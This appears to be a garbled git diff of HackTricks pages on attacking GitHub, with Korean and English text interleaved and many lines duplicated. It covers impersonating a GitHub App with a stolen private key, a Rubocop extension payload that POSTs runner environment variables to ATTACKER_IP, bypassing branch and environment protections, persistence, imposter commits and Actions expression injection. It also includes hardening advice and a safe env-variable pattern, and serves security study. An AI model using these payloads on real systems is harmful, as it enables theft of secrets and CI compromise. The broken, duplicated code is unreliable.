사용자 토큰은 Git over HTTPS에 대해 **비밀번호 대신** 사용할 수 있으며, [**기본 인증을 통해 API에 인증하는 데 사용할 수 있습니다**](https://docs.github.com/v3/auth/#basic-authentication). 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
사용자 토큰은 다음과 같습니다: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Oauth 애플리케이션으로
### With Oauth Application
[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하여 소개를 참조하세요.
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
공격자는 **악성 Oauth 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)는 다음과 같습니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다** 조직과 관련된 정보/레포지토리/작업에 대해.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
### Github 애플리케이션으로
### With Github Application
[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하여 소개를 참조하세요.
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
공격자는 **악성 Github 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다** 조직과 관련된 정보/레포지토리/작업에 대해.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
#### 개인 키(JWT → 설치 접근 토큰)로 GitHub 앱 가장하기
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
GitHub 앱의 개인 키(PEM)를 얻으면 모든 설치에서 앱을 완전히 가장할 수 있습니다:
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
- 개인 키로 서명된 단기 JWT 생성
- 설치를 나열하기 위해 GitHub 앱 REST API 호출
- 설치에 부여된 레포지토리에 대해 목록화/복제/푸시하는 데 사용할 수 있는 설치별 접근 토큰 발행
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
요구 사항:
- GitHub 앱 개인 키 (PEM)
- GitHub 앱 ID (숫자). GitHub는 iss가 앱 ID여야 한다고 요구합니다.
JWT 생성 (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
List installations for the authenticated app:
인증된 앱에 대한 설치 목록:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Create an installation access token (valid ≤ 10 minutes):
설치 액세스 토큰 생성 (유효 기간 ≤ 10분):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Use the token to access code. You can clone or push using the xaccesstoken URL form:
토큰을 사용하여 코드에 접근하세요. xaccesstoken URL 형식을 사용하여 클론하거나 푸시할 수 있습니다:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
특정 조직을 타겟으로 하고 개인 저장소를 나열하는 프로그래밍 방식의 PoC (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -253,57 +240,53 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
노트:
- 설치 토큰은 앱의 리포지토리 수준 권한을 정확히 상속받습니다(예: contents: write, pull_requests: write)
- 토큰은 ≤10분 후에 만료되지만, 개인 키를 유지하는 한 새로운 토큰을 무한정 발급할 수 있습니다.
- JWT를 사용하여 REST API(GET /app/installations)를 통해 설치를 나열할 수도 있습니다.
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
## Github Action의 타협 및 남용
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
Github Action을 타협하고 남용하는 여러 기술이 있습니다. 여기에서 확인하세요:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
## 외부 도구를 실행하는 서드파티 GitHub Apps 남용 (Rubocop 확장 RCE)
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
일부 GitHub Apps PR 리뷰 서비스는 리포지토리에서 제어하는 구성 파일을 사용하여 풀 리퀘스트에 대해 외부 린터/SAST를 실행합니다. 지원되는 도구가 동적 코드 로딩을 허용하는 경우, PR은 서비스의 러너에서 RCE를 달성할 수 있습니다.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
: Rubocop은 YAML 구성에서 확장을 로드하는 것을 지원합니다. 서비스가 리포지토리에서 제공된 .rubocop.yml을 통과시키면, 로컬 파일을 요구하여 임의의 Ruby를 실행할 수 있습니다.
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
- 트리거 조건에는 일반적으로 다음이 포함됩니다:
- 서비스에서 도구가 활성화되어 있음
- PR에 도구가 인식하는 파일이 포함되어 있음 (Rubocop의 경우: .rb)
- 리포지토리에 도구의 구성 파일이 포함되어 있음 (Rubocop은 .rubocop.yml을 어디서나 검색함)
Exploit files in the PR:
PR의 익스플로잇 파일:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (exfiltrate runner env vars):
ext.rb (환경 변수 추출 실행기):
```ruby
require 'net/http'
require 'uri'
@@ -314,90 +297,85 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
또한 linter가 실제로 실행되도록 충분히 큰 더미 Ruby 파일(예: main.rb)을 포함하세요.
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
실제 관찰된 영향:
- linter를 실행한 프로덕션 러너에서 전체 코드 실행
- 서비스에서 사용되는 GitHub App 비공개 키, API 키, DB 자격 증명 등과 같은 민감한 환경 변수의 유출
- 유출된 GitHub App 비공개 키로 설치 토큰을 발급받고 해당 앱에 부여된 모든 리포지토리에 대한 읽기/쓰기 액세스를 얻을 수 있습니다(위의 GitHub App 가장에 대한 섹션 참조).
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
외부 도구를 실행하는 서비스에 대한 강화 지침:
- 리포지토리 제공 도구 구성 파일을 신뢰할 수 없는 코드로 취급
- 민감한 환경 변수가 마운트되지 않은 엄격하게 격리된 샌드박스에서 도구 실행
- 최소 권한 자격 증명 및 파일 시스템 격리를 적용하고 인터넷 액세스가 필요하지 않은 도구에 대한 아웃바운드 네트워크 이gress를 제한/거부
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
## 브랜치 보호 우회
## Branch Protection Bypass
- **승인 수 요구**: 여러 계정을 손상시킨 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 액세스할 수 있는 경우 **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 얻을 수 있습니다.
- _이 점과 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 그렇다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._
- **새 커밋이 푸시될 때 승인 취소**: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다.
- **코드 소유자의 리뷰 요구**: 이 설정이 활성화되고 코드 소유자인 경우 **Github Action이 PR을 생성하고 자신이 직접 승인**할 수 있습니다.
- **CODEOWNER 파일이 잘못 구성된 경우**: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 **코드 소유자 보호가 적용되지 않습니다.**
- **지정된 행위자가 풀 요청 요구 사항을 우회하도록 허용**: 이러한 행위자 중 하나인 경우 풀 요청 보호를 우회할 수 있습니다.
- **관리자 포함**: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다.
- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 승인하고 모든 것을 병합**할 수 있습니다.
- **브랜치 보호 제거**: **리포의 관리자**인 경우 보호를 비활성화하고 PR을 병합한 후 보호를 다시 설정할 수 있습니다.
- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 `*` 지정).
- **리포에 대한 쓰기 액세스가 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 github action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로**, 이 첫 번째 코드 푸시는 **github action을 실행**합니다.
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
## 환경 보호 우회
## Bypass Environments Protections
[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 참조하세요.
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
환경에 **모든 브랜치에서 접근할 수 있는 경우**, **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. **모든 브랜치가 보호된** 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾고** 새로운 github action을 생성하여 비밀을 **유출**할 수 있습니다(또는 하나를 수정).
모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람이 지정되어 있으며** (_브랜치 보호에서 이를 지정할 수 있음) **사용자가 허용되지 않는 경우**에도 여전히 사용자 정의 github action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 대해 푸시 트리거를 사용할 수 있기 때문입니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.**
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
**브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때까지 이미 비밀을 덤프했을 것입니다.
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
## 지속성
## Persistence
- **사용자 토큰** 생성
- **비밀**에서 **github 토큰** 탈취
- 워크플로우 **결과****브랜치** **삭제**
- 모든 조직에 **더 많은 권한** 부여
- 정보를 유출하기 위한 **웹훅** 생성
- **외부 협력자** 초대
- **SIEM**에서 사용되는 **웹훅** **제거**
- **백도어**가 있는 **Github Action** 생성/수정
- **비밀** 값 수정을 통해 **명령 주입**에 취약한 **Github Action** 찾기
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
### 사기 커밋 - 레포 커밋을 통한 백도어
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포에 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다**.
[**이와 같이**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)에서 확인하세요.
## References
@@ -408,5 +386,3 @@ For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,97 +2,89 @@
{{#include ../../../banners/hacktricks-training.md}}
## Understanding the risk
## 위험 이해
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
GitHub Actions는 단계가 실행되기 전에 ${{ ... }} 표현식을 렌더링합니다. 렌더된 값은 해당 단계의 프로그램(예: run 단계의 경우 셸 스크립트)에 붙여넣어집니다. run: 안에 신뢰할 수 없는 입력을 직접 인터폴레이션하면 공격자가 셸 프로그램의 일부를 제어하여 임의의 명령을 실행할 수 있습니다.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
핵심 요점:
- 렌더링은 실행 전에 발생합니다. 모든 표현식이 해석된 상태로 run 스크립트가 생성된 다음 셸에서 실행됩니다.
- 많은 contexts는 트리거 이벤트(issues, PRs, comments, discussions, forks, stars 등)에 따라 사용자 제어 필드를 포함합니다. 신뢰할 수 없는 입력에 대한 참고는 다음을 보세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
- run: 내부의 셸 따옴표는 신뢰할 수 있는 방어책이 아닙니다. 인젝션은 템플릿 렌더링 단계에서 발생하기 때문입니다. 공격자는 조작된 입력을 통해 따옴표를 탈출하거나 연산자를 주입할 수 있습니다.
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
## 취약한 패턴 → RCE on runner
취약한 workflow (누군가 새 이슈를 열 때 트리거됨):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
If an attacker opens an issue titled $(id), the rendered step becomes:
공격자가 제목이 $(id)인 이슈를 열면, 렌더된 단계는 다음과 같이 됩니다:
```sh
echo "New issue $(id) created"
```
The command substitution runs id on the runner. Example output:
command substitution은 runner에서 id를 실행합니다. 예시 출력:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
따옴표로 감싸는 것으로는 안전해지지 않는 이유:
- 표현식은 먼저 렌더링된 다음, 그 결과 스크립트가 실행됩니다. 만약 신뢰할 수 없는 값에 $(...), `;`, `"`/`'`, 또는 개행이 포함되어 있다면, 따옴표로 감싸더라도 프로그램 구조를 변경할 수 있습니다.
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
## 안전한 패턴 (shell variables via env)
올바른 완화 방법: 신뢰할 수 없는 입력을 환경 변수에 복사한 다음, run 스크립트에서 네이티브 shell 확장($VAR)을 사용하세요. 명령 내부에 ${{ ... }}로 다시 포함시키지 마세요.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
- run: 안에서 ${{ env.TITLE }} 사용을 피하세요. 이는 명령에 템플릿 렌더링을 다시 도입하여 동일한 injection 위험을 초래합니다.
- untrusted inputs env: 매핑을 통해 전달하고 run:에서 $VAR로 참조하는 것이 바람직합니다.
## Reader-triggerable surfaces (treat as untrusted)
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
읽는 사용자가 트리거할 수 있는 이벤트는 많습니다. public repositories에 대해 read 권한만 있는 계정도 여러 이벤트를 트리거할 수 있습니다. 이러한 이벤트로부터 유래한 contexts의 모든 필드는 달리 입증되지 않는 한 공격자에 의해 조작될 수 있다고 간주해야 합니다. 예시:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- discussion, discussion_comment (orgs discussions를 제한할 수 있음)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
- pull_request_target (오용 시 위험함, base repo 컨텍스트에서 실행됨)
- fork (누구나 public repos를 fork할 수 있음)
- watch (리포지토리에 star를 누르는 행위)
- workflow_run/workflow_call 체인을 통한 간접적 경로
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
어떤 특정 필드가 공격자 제어인지 여부는 이벤트별로 다릅니다. GitHub Security Lab untrusted input 가이드를 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
- run: 안에서 expressions 사용을 최소화하세요. env: 매핑 + $VAR를 선호하세요.
- 입력을 변환해야 한다면 shell에서 안전한 도구(printf %q, jq -r 등)를 사용해 변환하되, 항상 shell 변수에서 시작하세요.
- 스크립트, 명령행 플래그, 파일 경로에 branch names, PR titles, usernames, labels, discussion titles, PR head refs 등을 보간할 때 각별히 주의하세요.
- reusable workflows composite actions에도 동일한 패턴을 적용하세요: env로 매핑한 다음 $VAR로 참조합니다.
## References
@@ -101,4 +93,4 @@ Which specific fields are attacker-controlled is event-specific. Consult GitHub
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,58 +1,56 @@
# Accessible Deleted Data in Github
# Github에서 접근 가능한 삭제된 데이터
{{#include ../../banners/hacktricks-training.md}}
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
삭제된 것으로 보이는 Github의 데이터에 접근하는 방법은 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
## 삭제된 포크 데이터 접근하기
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
1. 공개 저장소를 포크합니다.
2. 포크에 코드를 커밋합니다.
3. 포크를 삭제합니다.
> [!CAUTION]
> The data commited in the deleted fork is still accessible.
> 삭제된 포크에 커밋된 데이터는 여전히 접근 가능합니다.
## Accessing Deleted Repo Data
## 삭제된 저장소 데이터 접근하기
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
1. GitHub에 공개 저장소가 있습니다.
2. 사용자가 당신의 저장소를 포크합니다.
3. 그들이 포크한 후에 데이터를 커밋합니다(그리고 그들은 결코 자신의 포크를 당신의 업데이트와 동기화하지 않습니다).
4. 전체 저장소를 삭제합니다.
> [!CAUTION]
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
> 저장소를 삭제하더라도, 그에 대한 모든 변경 사항은 포크를 통해 여전히 접근 가능합니다.
## Accessing Private Repo Data
## 비공개 저장소 데이터 접근하기
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
1. 결국 공개될 비공식 저장소를 생성합니다.
2. 그 저장소의 비공식 내부 버전을 생성하고(포킹을 통해) 공개하지 않을 기능을 위한 추가 코드를 커밋합니다.
3. "업스트림" 저장소를 공개하고 포크는 비공개로 유지합니다.
> [!CAUTION]
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
> 내부 포크가 생성된 시점과 공개 버전이 공개된 시점 사이에 푸시된 모든 데이터에 접근할 수 있습니다.
## How to discover commits from deleted/hidden forks
## 삭제된/숨겨진 포크에서 커밋 발견하는 방법
The same blog post propose 2 options:
같은 블로그 게시물은 2가지 옵션을 제안합니다:
### Directly accessing the commit
### 커밋에 직접 접근하기
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
커밋 ID(sha-1) 값이 알려져 있다면 `https://github.com/<user/org>/<repo>/commit/<commit_hash>`에서 접근할 수 있습니다.
### Brute-forcing short SHA-1 values
### 짧은 SHA-1 값 무차별 대입하기
It's the same to access both of these:
두 가지 모두 접근하는 방법은 동일합니다:
